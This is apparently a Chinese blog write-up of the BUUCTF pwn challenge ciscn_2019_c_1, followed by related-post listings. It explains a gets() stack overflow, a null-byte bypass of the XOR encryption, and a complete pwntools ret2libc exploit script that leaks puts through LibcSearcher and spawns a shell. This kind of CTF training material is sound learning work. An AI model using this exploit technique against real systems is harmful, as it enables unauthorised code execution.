BUUCTF ciscn_2019_c_1(64位ret2libc3)

[CISCN2019 总决赛 Day2 Web1]Easyweb1 一.前言 在之前的文章中我提到最近一直在做sql注入相关的东西,也在一直做sql注入有关的题目。但是,事实上很多赛题他们的考点并不单一,往往需要结合着其他的知识,才能够拿到想要的结果。下面这道题就是我刚才所说的典型,虽然考的不难,但是足够说明当前sql题目的走向了。 二.正文 我们首先打开环境看到如下页面。 emmm,一个花里胡哨的登陆界面。尝试输入了很多用户名和密码组合,但是都不对。那就去扫一下目录,发现该网站存在一个robots.txt 这个robots文件中的内容就是在提示我们,该网站含有备份文件 阅读详情

1.checksec+运行

64位/NX保护

运行起来貌似很有意思,是一个加解密操作

后来发现只能加密不能解密

2. 强大的IDA进行中

1.main函数

貌似看不出什么

2.encrypt函数

加密具体操作

大小写字母/数字进行异或运算

发现gets()栈溢出

 s大小0x50

需要先把加密函数绕过

该函数的功能就是循环对输入的字符串进行加密,在加密前都有一个检查,只要v0的值大于或等于字符串的长度就跳出循环,通过strlen来计算字符串长度的,strlen计算字符串的长度是以’\0’作为终止符,在payload的开头加上’\0’就能绕过加密,这样我们写入的数据不会被改变

 while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )    //通过这个if条件判断
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

接着分析

没有直接给出system和binsh

那么通过libc库泄露其地址,就是常规的ret2libc3

还有一个重要的点

这是64位的ret2kibc3,和之前32位的不一样

64位的先是通过寄存器传参rdi、rsi、rdx、rcx、r8、r9

32位的直接堆栈传参

Ropgadget找一下

ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"

rdi=0x400c83

ROPgadget --binary ./7ciscn2019c1 --only "ret"

 

ret=0x4006b9 

最后,准备EXP 

from pwn import*
from LibcSearcher import*
p=process('./7ciscn2019c1')
#p=remote("")
elf=ELF("./7ciscn2019c1")


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']


rdi=0x400c83
ret=0x4006b9 

#第一次攻击绕过函数
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)



p.recvline()	#接收字符串Ciphertext
p.recvline()    #加密后的密文
#这里注意需要接收2次

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))  #得到 puts 函数 的地址
libc=LibcSearcher('puts',puts_addr) #获取libc的版本
offset=puts_addr-libc.dump('puts') #计算偏移量
binsh=offset+libc.dump('str_bin_sh') #计算字符串"/bin/sh"的地址
system=offset+libc.dump('system') #计算函数system的地址

#第二次攻击getshell

p.sendlineafter('Input your choice!\n','1')     #   再一次执行 一遍流程
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()

一个需要注意的点 :

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))  #得到 puts 函数 的地址

python3需要(b'char')发送

否则会报错

 ljust() argument 2 must be a byte string of length 1, not str

 

 cat flag

BUUCTF ciscn_2019_c_1 一道积攒了很久才解出来的题,这道题大体不难,但是好多小细节呜呜呜。而且Libcsearcher里的libc库没更新(上篇博客讲了)。 这道题是BUUCTF上的ciscn_2019_c_1。标准的64位ROP流程,我也就分享一下自己的坎坷心路历程。 代码审计 老规矩checksec一下,只开了nx保护。 观察main函数 显然哦,只有输入1才有点用。 关键函数:encrypt() 发现一个栈溢出漏洞。ROP链的入口。 然后就是读取s的长度,在长度范围内对内容进行加密:也就是根据ascii码范围不同来进行 阅读详情

相关推荐

【buu刷题】ciscn_2019_final_3

【buu刷题】ciscn_2019_final_3 write up

m0_73756460的博客 633

TypeError: ljust() argument 2 must be a byte string of length 1, not str

ljust(num,char) num:填充后的总长度 char:字符或长度为一的字符串 注意在新版本python中可能需要用 b'char' 发送字节流数据

清霂的博客 3946

逆向分析实战:我是如何一步步‘拆解’BUUCTF那道ciscn_2019_c_1题的

本文详细记录了逆向分析BUUCTF题目ciscn_2019_c_1的全过程,从信息收集、栈溢出漏洞发现到利用ROP技术实现ret2libc攻击。通过静态分析与动态调试,作者逐步构建攻击链,最终成功获取系统shell,展现了二进制漏洞利用的系统性思维与实战技巧。

weixin_42525369的博客 434

【BUUCTF-PWN】 ciscn_2019_c_1

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 checksec一下 新的改变 我们对Markdown编辑器进行了一些功能拓展与语法支持,除

qcwwww的博客 601

【BUUCTF - PWN】ciscn_2019_c_1

checksec一下 IDA打开看看,encrypt函数内存在栈溢出漏洞 由于程序会将输入的内容加密,这会破坏我们的payload,所以注意到strlen函数,通过在payload开头放上 \0 来绕过加密 由于程序内没有后门函数,也没有system函数,所以考虑ret2libc 特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐 from pwn...

古月浪子的博客 4292

CTF PWN选手的武器库:如何用LibcSearcher搞定BUUCTF的ret2libc题型

本文为CTF PWN选手提供了利用LibcSearcher工具高效解决BUUCTF平台ret2libc题型的实战指南。文章详细解析了ret2libc的核心逻辑,分享了环境配置、工具使用技巧、常见问题解决方案,并通过BUUCTF经典栈题案例,手把手演示如何结合程序分析快速定位libc版本并发起攻击,助力选手提升解题效率。

mongodb5scout的博客 219

保姆级教程:手把手通关BUUCTF ciscn_2019_c_1 (栈溢出 + ROP + 信息泄露 +ret2libc)

保姆级教程:手把手通关BUUCTF ciscn_2019_c_1 (栈溢出 + ROP + 信息泄露 +ret2libc)

2301_76794844的博客 2968

从栈溢出到浮点数比较:深入剖析BUUCTF-ciscn_2019_n_1的Pwn解题思路

本文深入剖析了BUUCTF-ciscn_2019_n_1的Pwn解题思路,重点讲解了栈溢出漏洞和浮点数比较的特殊性。通过逆向分析、关键函数定位和Payload构造,详细展示了如何利用gets函数的漏洞和浮点数比较的玄机来获取flag。文章还提供了防御建议,强调了理解底层原理的重要性。

weixin_30952535的博客 526

【BUUCTF】ciscn_2019_c_1

1、kali分析文件2、运行文件:3、64位ida分析文件,在函数名那里可以看到有三个函数:main,encrypt,begin在main函数中调用了这两个函数,还调用了puts函数,puts函数是libc库中的函数encrypt函数中调用了gets危险函数;gets函数是libc库中的一个函数4、shift+f12查看字符串,这里没有调用system也没有后门,猜测是利用ret2libc。

2201_75556700的博客 1474

静态随机存储器(SRAM)

静态随机存储器(SRAM)是一种广泛用于计算机系统和嵌入式设备中的高速随机访问存储器。与动态随机存储器(DRAM)不同,SRAM 不需要定期刷新,因此可以实现更快的访问时间和更低的功耗。SRAM通常用于缓存、高速缓冲器和存储器应用程序中,其中性能和可靠性至关重要。

JAZJD的博客 8148

一、qt下载与安装

qt与qtcreator 的区别与联系 1、QT Creator只是一个集成的编译器,用于将源代码编译成可执行程序。 QT 是跨平台C++图形用户界面应用程序开发框架,可以简单理解成是一个开发包。 2、Qt是完全面向对象的,很容易扩展,并且允许真正地组件编程。 QT Creator 跨平台的 Qt IDE,Qt Creator 是 Qt 被 Nokia 收购后推出的一款新的轻量级集 ...

yiye_pianzhou的博客 2218

buuctf之ciscn_2019_c_1

通俗易懂

weixin_54452942的博客 1186

告别眼疲劳!保姆级教程:给你的SecureCRT v8.7.2换上护眼高亮配色(附透明背景设置)

本文提供了一份详细的SecureCRT v8.7.2护眼高亮配色方案教程,帮助程序员缓解眼疲劳问题。通过科学调整配色方案、动态环境自适应设置以及字体渲染优化,显著提升终端使用的舒适度和工作效率。特别推荐Solarized Dark和One Dark Pro医学适配版配色方案,适合长时间编码工作。

weixin_42549496的博客 354

[BUUCTF]ciscn_2019_c_1

想办法通过encrypt函数的 get函数栈溢出获得其中一个函数的地址(本题选择puts),通过LibcSearcher得到该函数在对应libc中的偏移量。没有‘system’,‘bin/sh’等有用的字符串,函数列表里也没有system等后门函数。该程序中并没有system,bin/sh等有用的字符串,无法使用ret2text。也没有构造溢出的函数,但是有很多puts,很好后面ret2libc可以用。通过已经调用过的函数泄露它在程序中的地址,然后利用地址末尾的3个字节,在。没什么能构造溢出的函数。

Lucien_Carr的博客 1872

STM32L433使用DSP库配置过程

STM32L433中有FPU,在使用中为了使用其中的部分函数,需要对其进行配置。     配置成功后做些总结,留待后续复习备忘,同时也希望有朋友像我一样使用DSP库配置时少走弯路,留作交流。

在在在的博客 4550

墨水屏高效开发:架构、开源库与实战优化指南

嵌入式显示技术中,电子墨水屏以其类纸观感和超低功耗特性,在电子书阅读器、智能办公本及工业仪表等场景中占据独特地位。其工作原理基于微胶囊电泳技术,仅在画面刷新时消耗电能,静态显示时功耗近乎为零,这带来了极致的续航优势。为实现流畅的交互体验,开发者需构建分层渲染架构,通过硬件抽象层统一驱动接口,并引入帧缓冲与差异比较算法智能决策局部刷新区域,从而大幅降低刷新延迟与功耗。开源库如GxEPD2和LVGL为墨水屏适配提供了关键支持,结合波形文件管理与电源优化策略,能有效解决残影与卡顿问题。本文聚焦于eink墨水屏高效

weixin_42545636的博客 411

BUUCTF ciscn_2019_c_1 wp

本文分析了64位程序ciscn_2019_c_1的漏洞利用过程。通过checksec发现程序仅开启NX保护,IDA静态分析发现encrypt函数存在gets栈溢出漏洞。由于没有直接的后门函数,采用ret2libc技术分两个阶段攻击:首先利用puts函数泄露libc地址,通过LibcSearcher匹配版本后计算system和/bin/sh地址;随后构造ROP链执行system("/bin/sh")获取shell控制权。详细说明了64位系统下参数传递规则、gadget的使用方法,以及处理多

AEJL叁的博客,欢迎关注! 1903

关于发那科机器人抓手及物料搬运阀配置

4:确保抓手阀岛和输入模块配网连接正常,MENU—SETUP—MH Valves—Details,详细界面进入到左上图所示,根据每组阀分配夹钳数量并应用。3:设置搬运有效,抓手是否带点焊可以自行选择,要设置应用选择,物料搬用工具数量,工具上阀岛的数量,夹钳存在数量,工具存在数量,以及真空吸盘,冷启动。​2:MENU—应用选择,将搬运置为有效,剩余其他项根据机器人实际用途进行选择。5:设置夹钳数量,检查打开夹钳,检查闭合夹钳,延迟时间要给选择配置应用。

dxs93的博客 4773

ciscn_2019_c_1【BUUCTF】

ciscn_2019_c_1【BUUCTF】

qq_41696518的博客 1440

LLC谐振变换器软启动,不只是“慢启动”,还是“智能启动”

LLC谐振变换器的软启动,不只是“慢慢来”,而是要在控制时序、限流、响应速度之间精妙权衡。而数字控制,特别是用查表法或混合信号法,为实现真正的“最佳轨迹”提供了可能。✨小Tips:如果你的系统成本敏感,选择查表法准没错;如果你的设计目标是超高速响应,那就上混合信号的高配方案!

weixin_43199439的博客 691

Jetson 平台编译安装 FFmpeg 7.1(支持 Nvmpi + SRT + x265)

摘要: 本文详细介绍了在NVIDIA Jetson平台上编译FFmpeg 7.1并集成关键功能的全过程。通过补丁方式加入Nvmpi实现硬件加速支持,同时编译集成x265编码器和SRT低延迟传输协议。步骤涵盖:1)安装x265编码器;2)配置SRT协议支持;3)编译jetson-ffmpeg的Nvmpi接口;4)定制化编译FFmpeg 7.1;5)验证模块集成情况。最终实现支持硬件编解码、高效HEVC压缩和可靠推流的增强版FFmpeg,为Jetson平台的音视频处理提供完整解决方案。

J。 345

BUUCTF ciscn_2019_c_1(ret2libc)

BUUCTF ciscn_2019_c_1(ret2libc) 首先还是check一下,之后放到IDA里面进行分析 可以看到里面有一个encrypt函数,我们来对他进行一个分析,可以看到一个关键点 做法一: 我们可以得出只要输入东西了,这个IF判断就是成立的,所以我们这里需要了解一个知识:在输入的内容前面加入’\0’可以绕过strlen这个函数 在这个函数里我们也可以很快找到溢出的地方,gets函数,对于我们输入的内容长度没有限制,再看上面定义变量的时候,s距离栈底的长度为0x50,纵观函数内容我们

weixin_45441024的博客 564

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

告别盲打:用GDB+Pwntools动态调试BUUCTF Pwn题(以ciscn_2019_c_1为例)

本文以BUUCTF平台上的`ciscn_2019_c_1`为例,详细介绍了如何使用GDB与Pwntools进行动态调试,解析Pwn题的漏洞利用过程。通过实战演示栈溢出漏洞的发现、加密机制的绕过、libc地址泄露及ROP链构造等关键技术,帮助读者掌握CTF竞赛中的逆向工程核心技能。

weixin_30496999的博客 286

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

BUUCTF Pwn ciscn_2019_c_1 题解

2.接下来找libc的版本 利用 libc地址 = 真实地址 - 偏移地址 得到system和binsh的地址。其中,用两次recvline()的原因是隔离掉 \n 和 ciphertext。puts_address的那一大串是用于接收地址 去掉结尾的\0 并且将长度补到。SHIFT+F12查看字符串 可以看到没有后门函数 这是一道ret2libc题。同时因为这是64位程序,函数参数用寄存器存储且第一个是 RDI寄存器。1.首先,构造payload1,得到puts的真实地址。ret用于64位栈平衡。

qq_33348179的博客 577

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

[BUUCTF-pwn]——ciscn_2019_c_1

[BUUCTF-pwn]——ciscn_2019_c_1 题目地址:https://buuoj.cn/challenges#ciscn_2019_c_1 题目: 下载下来checksec一下 再IDA上面看一下,利用shift + f12看下字符串,发现没有我们想要的字符串。以为是ret2shellcode,结果弄了半天不可以。重新看一遍发现开启了NX保护,原来是ret2libc类型的,呜呜呜。 ...

Y_peak的博客 1659
上一篇: 攻防世界格式化字符串漏洞greeting150
下一篇: Ret2csu Jarvisoj level5_x64
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值